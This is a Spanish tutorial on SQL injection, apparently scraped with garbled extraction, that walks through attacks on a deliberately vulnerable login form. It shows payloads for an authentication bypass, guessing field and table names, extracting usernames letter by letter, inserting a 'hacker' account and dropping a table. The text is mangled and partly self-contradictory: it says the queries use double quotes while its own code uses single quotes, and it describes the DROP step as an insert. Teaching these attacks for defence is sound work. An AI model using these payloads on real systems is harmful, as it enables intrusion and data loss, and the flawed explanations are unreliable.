Inyecciones SQL2

También podría gustarte

Está en la página 1de 10

Inyecciones SQL __________________________________________________________________________

Aplicacin de ejemplo ___________________________________________________________________________

Inyeccin SQL 1 - Acceder a la aplicacin sin tener nombre de usuario ni contrasea ________________________

Inyeccin SQL 2 - Averiguar el nombre de los campos__________________________________________________

Inyeccin SQL 3 - Averiguar los nombres de las tablas _________________________________________________

Inyeccin SQL 4 - Averiguar el contenido de los registros _______________________________________________

Inyeccin SQL 5 - Aadir un nuevo usuario __________________________________________________________

Inyeccin SQL 6 - Borrar una tabla _________________________________________________________________


Inyecciones SQL
Las denominadas "inyecciones SQL" son un tipo de ataque a una
aplicacin que aprovecha fallos de seguridad en la base de datos. En
esta leccin, vamos a ver ejemplos de inyecciones SQL. Esta leccin
est basada en el artculo de Steve Friedl SQL
InjectionAttacksbyExample cuya lectura recomiendo, o la chuleta SQL
injectioncheatsheet. Por supuesto, el objetivo de esta leccin es
concienciar de la necesidad de proteger cualquier aplicacin web de este
tipo de ataques.

Aplicacin de ejemplo
Utilizaremos como ejemplo una aplicacin similar a la de los ejercicios
Bases de datos 1.

Esta aplicacin tiene un men con tres opciones:


o Borrar todo, para borrar y crear la tabla de usuarios, que
contiene nicamente dos campos (el nombre y la contrasea
del usuario).
o Aadir usuarios, para aadir nombres de usuario y sus
contraseas en la tabla de usuarios.
o Entrar al sistema, que simula una pgina de entrada en una
aplicacin web, solicitando un nombre de usuario y su
contrasea, comprobando si est en la tabla de usuarios y
respondiendo
el nombre de usuario y la contrasea son correctos.
el nombre de usuario es correcto, pero la contrasea
no es correcta.
el nombre de usuario no es correcto.
Esta aplicacin es vulnerable a algunos ataques de inyeccin SQL
porque los datos enviados por el usuario se incluyen en las
consultas a la base de datos sin ningn tipo de tratamiento previo.
Esta aplicacin no es vulnerable a todos los ataques de inyeccin
SQL que se comentan en esta leccin porque utiliza la extensin
PDO. Si quiere probar en su ordenador una aplicacin similar
vulnerable a todos los ataques que se comentan en esta leccin,
puede descargar este archivo (inyeccion_sql_2.zip) y probarla en
su ordenador.
Inyeccin SQL 1 - Acceder a la aplicacin sin tener
nombre de usuario ni contrasea
Cuando el usuario escriba un nombre de usuario y contrasea, la
aplicacin responde uno de estos tres mensajes:
Para entrar en el sistema escriba su nombre de usuario y Nombre de
contrasea: usuario y
contrasea
Usuario: correctos.
Contrasea Nombre de
:
usuario
Entrar incorrecto.
Contrase
a
incorrecta.

Para comprobar si la aplicacin incluye los datos enviados por el usuario


sin ningn tratamiento previo, podemos enviar una comilla (simple o
doble) como dato.
Para entrar en el sistema escriba su nombre de usuario y Nombre
contrasea: de
usuario
Usuario: incorrecto
Contrasea loquesea .
:
Entrar

Para entrar en el sistema escriba su nombre de usuario y Error en


contrasea: la
consulta.
Usuario: 'loquesea

Contrasea loquesea
:
Entrar
Este ltimo mensaje ("Error en la consulta") nos hace saber que no se
tratan los datos y que adems las consultas estn delimitadas por dobles
comillas. Por qu?
Probablemente el cdigo de la aplicacin es algo similar a esto:
$usuario = $_REQUEST["usuario"];
$contrasea = $_REQUEST["contrasea"];

$consulta = "SELECT COUNT(*) FROM $dbTabla


WHERE campo1='$usuario'
AND campo2='$contrasea'";
$result = sqlite_exec($db, $consulta);
if (!$result) {
print "<p>Error en la consulta.</p>\n";
} elseif ($result[0][0] > 0) {
print "<p>Nombre de usuario y contrasea correctos.</p>\n";
} else {
...

Al escribir una comilla doble al principio del nombre de usuario, la


consulta se convierte en
SELECT COUNT(*) FROM $dbTabla
WHERE campo1='"loquesea'
AND campo2='loquesea'

Esta consulta es correcta (no contiene errores de sintaxis) y cuando se


ejecuta, la base de datos simplemente devuelve 0.
Sin embargo, al escribir una comilla simple al principio del nombre de
usuario, la consulta se convierte en
SELECT COUNT(*) FROM $dbTabla
WHERE campo1=''loquesea'
AND campo2='loquesea'

Esta consulta no es correcta (contiene un error de sintaxis por culpa de la


comilla dentro de las comillas de la segunda lnea y cuando se ejecuta, la
base de datos da error.

Ahora que sabemos que la consulta est delimitada por comillas dobles
podemos escribir unos datos que modificarn la consulta y harn que la
aplicacin crea que hemos introducido datos de un usuario registrado.
Para entrar en el sistema escriba su nombre de usuario y Nombre de
contrasea: usuario y
contrasea
Usuario: loquesea
correctos.
Contrasea: loquesea' OR '1'='1

Entrar

En este caso, la consulta a la base de datos ser algo parecido a esto:


SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' OR '1'='1'

Esta consulta es correcta y, cuando se ejecuta, la base de datos


devuelve el nmero total de registros en la tabla, puesto que la condicin
se cumple siempre, aunque el nombre de usuario y la contrasea sean
incorrectos, porque la condicin final OR '1'='1' se cumple siempre.

Inyeccin SQL 2 - Averiguar el nombre de los campos


Los nombres de campos se pueden averiguar mediante prueba y error.
La idea es introducir datos que construyan consultas en las que
aparezcan posibles nombres de los campos. En caso de que las
consultas den error significa que el nombre es incorrecto, si no es as
significa que hemos acertado el nombre de los campos.

Por ejemplo, vamos a probar si el nombre de uno de los campos es


"usuario".
Podramos hacer algo parecido a lo visto en el punto anterior:
Para entrar en el sistema escriba su nombre de usuario y Error en la
contrasea: consulta.
Usuario: loquesea

Contrasea: loquesea' AND usuario='loquesea

Entrar

La respuesta de la aplicacin es "Error en la consulta", lo que nos indica


que no hay un campo que se llame "usuario". En este caso, la consulta a
la base de datos habr sido algo parecido a esto:
SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' AND usuario='loquesea'

Otra posible entrada podra haber sido la siguiente:


Para entrar en el sistema escriba su nombre de usuario y Error en la
contrasea: consulta.
Usuario: loquesea

Contrasea: loquesea' AND usuario is NULL; --

Entrar

La respuesta de la aplicacin es "Error en la consulta", lo que nos indica


que no hay un campo que se llame "usuario". En este caso, la consulta a
la base de datos habr sido algo parecido a esto:
SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' AND usuario is NULL; --'

En SQL, los guiones son la marca de inicio de un comentario, de manera


que la comilla final no se toma en cuenta en la consulta.
En ambos casos hemos obtenido "Error en la consulta", por lo que
sabemos que ningn campo se llama "usuario".

Hacemos ahora un segundo intento, con el nombre "user"


Para entrar en el sistema escriba su nombre de usuario y Nombre de
contrasea: usuario
incorrecto.
Usuario: loquesea

Contrasea: loquesea' AND user is NULL; --

Entrar

En este caso, la consulta a la base de datos ser algo parecido a esto:


SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' AND useris NULL; --'

Como hemos obtenido la respuesta "Nombre de usuario incorrecto",


sabemos que uno de los campos se llama "user".
Volver al principio de la pgina

Inyeccin SQL 3 - Averiguar los nombres de las tablas


Los nombres de las tablas se pueden averiguar mediante prueba y error.
La idea es introducir datos que construyan consultas en las que
aparezcan posibles nombres de las tablas. En caso de que las consultas
den error significa que el nombre es incorrecto, si no es as significa que
hemos acertado el nombre de las tablas.

Por ejemplo, vamos a probar si el nombre de la tabla es "usuarios".


Podramos hacer algo parecido a lo visto en el punto anterior:
Para entrar en el sistema escriba su nombre de usuario y Error en la
contrasea: consulta.
Usuario: loquesea

Contrasea: loquesea' AND 1=(SELECT COUNT(*) FROM usuarios); --

Entrar

La respuesta de la aplicacin es "Error en la consulta", lo que nos indica


que no hay una tabla que se llame "usuarios". En este caso, la consulta a
la base de datos habr sido algo parecido a esto:
SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' AND 1=(SELECT COUNT(*) FROM usuarios); --'

Hacemos ahora un segundo intento, con el nombre "tabla"


Para entrar en el sistema escriba su nombre de usuario y Nombre
contrasea: de usuario
incorrecto.
Usuario: loquesea

Contrasea: loquesea' AND 1=(SELECT COUNT(*) FROM tabla);--

Entrar

En este caso, la consulta a la base de datos ser algo parecido a esto:


SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' AND 1=(SELECT COUNT(*) FROM tabla);--

Como hemos obtenido la respuesta "Nombre de usuario incorrecto",


sabemos que una de las tablas se llama "tabla".
Volver al principio de la pgina

Inyeccin SQL 4 - Averiguar el contenido de los registros


Una vez se conoce el nombre de la tabla de usuarios y los nombres de
los campos se puede intentar conocer valores concretos de un registro
mediante prueba y error. La idea es introducir datos que construyan
consultas en las que aparezcan posibles contenidos de los campos. En
caso de que las consultas den error significa que el contenido es
incorrecto, si no es as significa que hemos acertado el contenido.

Por ejemplo, vamos a buscar nombres de usuarios.


Para entrar en el sistema escriba su nombre de usuario y Nombre de
contrasea: usuario y
contrasea
Usuario: loquesea
correctos.
Contrasea: loquesea' OR user LIKE 'a%';--

Entrar

La respuesta de la aplicacin es "Nombre de usuario y contrasea


correctos.", lo que nos indica que hay un usuario cuyo nombre empieza
por "a". En este caso, la consulta a la base de datos habr sido algo
parecido a esto:
SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea' OR user LIKE 'a%';--

Podramos ir alargando la cadena letra a letra hasta encontrar el nombre


del usuario.
Volver al principio de la pgina

Inyeccin SQL 5 - Aadir un nuevo usuario


Nota: Este tipo de ataque no funciona en la aplicacin de ejemplo del
primer apartado de esta leccin ya que la extensin PDO no permite
ejecutar varias consultas de una sola vez, pero s funciona en la
aplicacin vulnerable inyeccion_sql_2.zip que puede probar en su
ordenador.
Una vez se conoce el nombre de la tabla de usuarios y los nombres de
los campos se puede intentar editar la base de datos, por ejemplo,
aadiendo un usuario.

La tcnica consiste en incluir una sentencia SQL que inserte un registro.


Para entrar en el sistema escriba su nombre de usuario y Nombre de
contrasea: usuario
incorrecto
Usuario: loquesea

Contrasea: loquesea'; INSERT INTO tabla ('user', 'passw ord') VALUES ('hacker', 'hacker'); --

Entrar

En este caso, la consulta a la base de datos ser algo parecido a esto:


SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea'; INSERT INTO tabla VALUES (NULL, 'hacker',
'hacker'); --

Para comprobar si el ataque ha tenido xito, habra que probar a entrar


como usuario "hacker" con contrasea "hacker".
Obviamente para que el ataque tenga xito deberamos haber acertado
la estructura de la tabla, lo que podra exigir numerosas pruebas o ser
demasiado difcil. Otra va para conseguir los datos de un usuario sera
averiguar el nombre de algn usuario (mediante sentencias LIKE y algo
de paciencia) e inyectar una consulta que cambie su contrasea.
Volver al principio de la pgina

Inyeccin SQL 6 - Borrar una tabla


Nota: Este tipo de ataque no funciona en la aplicacin de ejemplo del
primer apartado de esta leccin ya que la extensin PDO no permite
ejecutar varias consultas de una sola vez, pero s funciona en la
aplicacin vulnerable inyeccion_sql_2.zip que puede probar en su
ordenador.
Una vez se conoce el nombre de la tabla de usuarios vamos a realizar
una accin destructiva, como por ejemplo borrar la tabla de usuarios.

La tcnica consiste en incluir una sentencia SQL que inserte un registro.


Para entrar en el sistema escriba su nombre de usuario y Nombre
contrasea: de
usuario
Usuario: loquesea
incorrecto
Contrasea: loquesea'; DROP TABLE tabla; --
Error en
Entrar
la
consulta.
En este caso, la consulta a la base de datos ser algo parecido a esto:
SELECT COUNT(*) FROM tabla
WHERE campo1='loquesea'
AND campo2='loquesea'; DROP TABLE tabla; --

Si el ataque ha tenido xito, la aplicacin seguramente dejar de


funcionar, puesto que ha desaparecido una de las tablas.

También podría gustarte